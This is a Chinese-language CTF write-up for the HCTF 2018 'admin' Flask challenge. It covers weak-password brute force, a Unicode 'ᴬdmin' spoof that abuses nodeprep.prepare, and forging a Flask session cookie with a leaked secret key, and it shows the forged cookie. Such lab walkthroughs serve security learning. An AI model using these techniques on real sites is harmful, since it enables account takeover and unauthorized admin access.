[HCTF 2018]admin (三种解法详细详解)

这篇具有很好参考价值的文章主要介绍了[HCTF 2018]admin (三种解法详细详解)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

信息收集

思路一:弱口令爆破

思路2:垂直越权

代码审计

Unicode欺骗

Unicode 简介

伪造flask session


信息收集

注册登录

然后查看源码

<!-- you are not admin -->

看来需要伪造admin的身份

在changepassword页面查看源代码

<!-- https://github.com/woadsl1234/hctf_flask/ -->

注册admin 用户

回显The username has been registered

思路一:弱口令爆破

由于提供了admin,于是对admin进行爆破即可

[HCTF 2018]admin (三种解法详细详解),# web安全,# python,flask,python,网络,网络安全,web安全

拿到admin的密码直接登录即可获得flag

[HCTF 2018]admin (三种解法详细详解),# web安全,# python,flask,python,网络,网络安全,web安全

思路2:垂直越权

我们先下载hctf_flask,发现这是python的框架

代码审计

  • 秘钥
 
  • nodeprep.prepare函数

[HCTF 2018]admin (三种解法详细详解),# web安全,# python,flask,python,网络,网络安全,web安全 

 

Unicode欺骗

  • 原理

 这里用到了nodeprep.prepare函数,而nodeprep是从twisted模块中导入的from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep,在requirements.txt文件中,发现这里用到的twisted版本是Twisted==10.2.0,而官网最新版本为19.2.0(2019/6/2),版本差距这么大,估计是存在什么漏洞。

这里原理就是利用nodeprep.prepare函数会将unicode字符转换成A,而A在调用一次nodeprep.prepare函数会把A转换成a
所以当我们用ᴬdmin注册的话,后台代码调用一次nodeprep.prepare函数,把用户名转换成Admin,我们用ᴬdmin进行登录,可以看到index页面的username变成了Admin,证实了我们的猜想,接下来我们就想办法让服务器再调用一次nodeprep.prepare函数即可。

[HCTF 2018]admin (三种解法详细详解),# web安全,# python,flask,python,网络,网络安全,web安全

[HCTF 2018]admin (三种解法详细详解),# web安全,# python,flask,python,网络,网络安全,web安全

  • Unicode 简介

Unicode 是国际标准字符集,它将世界各种语言的每个字符定义一个唯一的编码,以满足跨语言、跨平台的文本信息转换

Letter Capital A

Unicode库

注册一个账号 :ᴬᴰᴹᴵᴺ;修改密码为123456然后退出,用账号”admin“,密码:123456成功登录

大致的思路是:在注册的时候  ”ᴬᴰᴹᴵᴺ“ 经过strlower(),转成”ADMIN“ , 在修改密码的时候 ”ADMIN“经过strlower()变成”admin“ , 当我们再次退出登录的时候 ”admin“经过strlower()变成”admin“(没啥卵用,但是你已经知道了一个密码已知的”admin“,而且在index.html中可以看到只要session['name']=='admin',也就是只要用户名是’admin‘就可成功登录了)

伪造flask session

  • 简介

一、配置SECRET_KEY

因为flask的session是通过加密之后放到了cookie中。所以有加密就有密钥用于解密,所以,只要用到了flask的session模块就一定要配置“SECRET_KEY”这个全局宏。一般设置为24位的字符。配置方法一般有两种。

配置方法一:

新建一个config.py的文件配置secret_key

配置方法二:

直接在主运行文件里面配置。配置config的时候也是和操作字典是一样的
main.py

找到config.py,默认密钥为ckj123

[HCTF 2018]admin (三种解法详细详解),# web安全,# python,flask,python,网络,网络安全,web安全

上梯子在github寻找加解密的脚本

加解密脚本在github的flask_session_cookie_manager

在kali上git脚本

git clone https://github.com/noraj/flask-session-cookie-manager.git 

  • 查看说明

Encode

usage: flask_session_cookie_manager{2,3}.py encode [-h] -s <string> -t <string>

optional arguments:
  -h, --help            show this help message and exit
  -s <string>, --secret-key <string>
                        Secret key
  -t <string>, --cookie-structure <string>
                        Session cookie structure

Decode

usage: flask_session_cookie_manager{2,3}.py decode [-h] [-s <string>] -c <string>

optional arguments:
  -h, --help            show this help message and exit
  -s <string>, --secret-key <string>
                        Secret key
  -c <string>, --cookie-value <string>
                        Session cookie value

 开始解密

[HCTF 2018]admin (三种解法详细详解),# web安全,# python,flask,python,网络,网络安全,web安全

{'_fresh': True, '_id': b'1937acdfca51734654325bb3cba9a9c452691136d6e7b9023bd1fe8f3ab9359cc89c463b5aeac3cfbf1e84253385bd78d81c7cf9fc64ec5945c99c4f1dce0d6d', 'csrf_token': b'95304baadecae6a9070dd13c25491ecc73924a87', 'image': b'qRBT', 'name': 'xiao', 'user_id': '11'}

将xaio改为admin进行加密

{'_fresh': True, '_id': b'1937acdfca51734654325bb3cba9a9c452691136d6e7b9023bd1fe8f3ab9359cc89c463b5aeac3cfbf1e84253385bd78d81c7cf9fc64ec5945c99c4f1dce0d6d', 'csrf_token': b'95304baadecae6a9070dd13c25491ecc73924a87', 'image': b'qRBT', 'name': 'admin', 'user_id': '11'}

.eJw9kMGKwjAURX9leGsXttqN4MKZ2qLwElpSQ96mqK02SeNAVUYj_vtkHHB94dxz7wPqw9CeO5hdhms7glo3MHvAxw5mgMJ6FmeGcjJKVDfmccxMNUa_ipRbeRWvOy6XifJFhEYlKJaeuSIm0WguFneM1xYl9TxXXslVgr5KVIxTLv84TDOZ9Upi4JAmk_U8Le5MoOfpRlO6n1J6vCnfGDK9C4QxSYy4KCLlbegsHcrSkPi0oXMOzxHsz8Ohvnzb9vSewEXlMS21kpklyToS1AW1CealRcEMhjlcBI0YJ-jtneXLKfuZv3DabY_tm7TfrL82i__ktHUhgG3j9AlGcD23w-s3iCJ4_gJTWWz3.Y8YWYQ.e6ZpyA3vyA_kVIKn2WvUZyB9o5U

插件修改cookie,刷新登录成功拿到flag
[HCTF 2018]admin (三种解法详细详解),# web安全,# python,flask,python,网络,网络安全,web安全文章来源地址https://www.toymoban.com/news/detail-669095.html

到了这里,关于[HCTF 2018]admin (三种解法详细详解)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 三门问题的三种解法

    今天来讲一个经典的概率论问题: 三门问题(Monty Hall problem)亦称为蒙提霍尔问题、蒙特霍问题或蒙提霍尔悖论,大致出自美国的电视游戏节目Let’s Make a Deal。 问题名字来自该节目的主持人蒙提·霍尔(Monty Hall)。 参赛者会看见三扇关闭了的门,其中一扇的后面有一辆汽车

    2024年02月17日
    浏览(45)
  • 力扣--268丢失的数字(三种解法)

    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 给定一个包含 [0, n] 中 n 个数的数组 nums ,找出 [0, n] 这个范围内没有出现在数组中的那个数。 示例 1: 输入:nums = [3,0,1] 输出:2 解释:n = 3,因为有 3 个数字,所以所有的数字都在范围 [0,3] 内。2 是丢

    2024年02月04日
    浏览(37)
  • 用 sql 查询部门工资最高的员工信息(三种解法)

    今天笔试做了一道简单算法题,一道简单 sql 题,sql 题的大意是分别有员工表和部门表两张表,关联字段是部门id,求每个部门薪资最高的员工的信息,薪资最高有多个人需要全部输出。 当时我只想到了一种解法 先用子查询查到每个部门的最高工资,然后把用部门id把员工表

    2024年02月12日
    浏览(34)
  • C语言-杨辉三角的三种解法-简单易懂篇

    这里我们先实现第二张图的这种杨辉三角,在第二张图的基础上加上对数字前面空格的控制就好了,这个不难实现,重点是先把杨辉三角成功的打印出来。 这里我们先给出第一种方法: 我们可以创建一个二维的数组,数组的第一行的元素和对角线的元素,全部位1,然后从第

    2024年02月04日
    浏览(42)
  • 算法(第4版)练习题1.1.27的三种解法

    本文列举了对于 算法 : 第4版 / (美) 塞奇威客 (Sedgewick, R.) , (美) 韦恩 (Wayne, K.) 著 ; 谢路云译. -- 北京 : 人民邮电出版社, 2012.10 (2021.5重印) (以下简称原书或书)中的练习题 1.1.27 的三种解法(C++ 实现),并对包含原书题中的递归方法在内的四种解法的执行时间进行了统计和对

    2023年04月19日
    浏览(33)
  • Kafka三种认证模式,Kafka 安全认证及权限控制详细配置与搭建

    Kafka三种认证模式,Kafka 安全认证及权限控制详细配置与搭建。 Kafka三种认证模式 使用kerberos认证

    2024年02月04日
    浏览(52)
  • 详解【计算机类&面试真题】军队文职考试——第8期:OSI的七层模型 | 数据通信的三种方式 | 通信网络的检查方法,附Python进行网络连通性检查、带宽测试、端口扫描、链路质量测试、安全性扫描

      不知道命运是什么,才知道什么是命运。———史铁生     🎯作者主页: 追光者♂🔥          🌸个人简介:   💖[1] 计算机专业硕士研究生💖   🌟[2] 2022年度博客之星人工智能领域TOP4🌟   🏅[3] 阿里云社区特邀专家博主🏅   🏆[4] CSDN-人工智能领域优质创作者🏆

    2024年01月25日
    浏览(55)
  • python字典访问的三种方法的详细用法

    如果想自定义 get() 方法返回的默认值,可以在调用 get() 方法时传入默认值作为参数。示例代码如下:

    2024年02月16日
    浏览(49)
  • Java LeetCode篇-深入了解二叉树经典解法(三种方式实现:获取二叉树的最大深度)

    🔥博客主页: 【 小扳_-CSDN博客】 ❤感谢大家点赞👍收藏⭐评论✍    文章目录         1.0 对称二叉树         1.1 判断对称二叉树实现思路         1.2 代码实现:判断对称二叉树         2.0 二叉树的最大深度         2.1 使用递归实现获取二叉树的最大深度思

    2024年02月05日
    浏览(77)
  • Python 三种方法实现截图【详解+完整代码】

    如何用python实现截屏? 一、方法一 PIL中的ImageGrab模块 使用PIL中的ImageGrab模块简单,但是效率有点低 PIL是Python Imaging Library, 它为python解释器提供图像编辑函数能力。 ImageGrab模块可用于将屏幕或剪贴板的内容复制到PIL图像存储器中。 PIL.ImageGrab.grab()方法拍摄屏幕快照。 边框

    2024年01月17日
    浏览(45)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包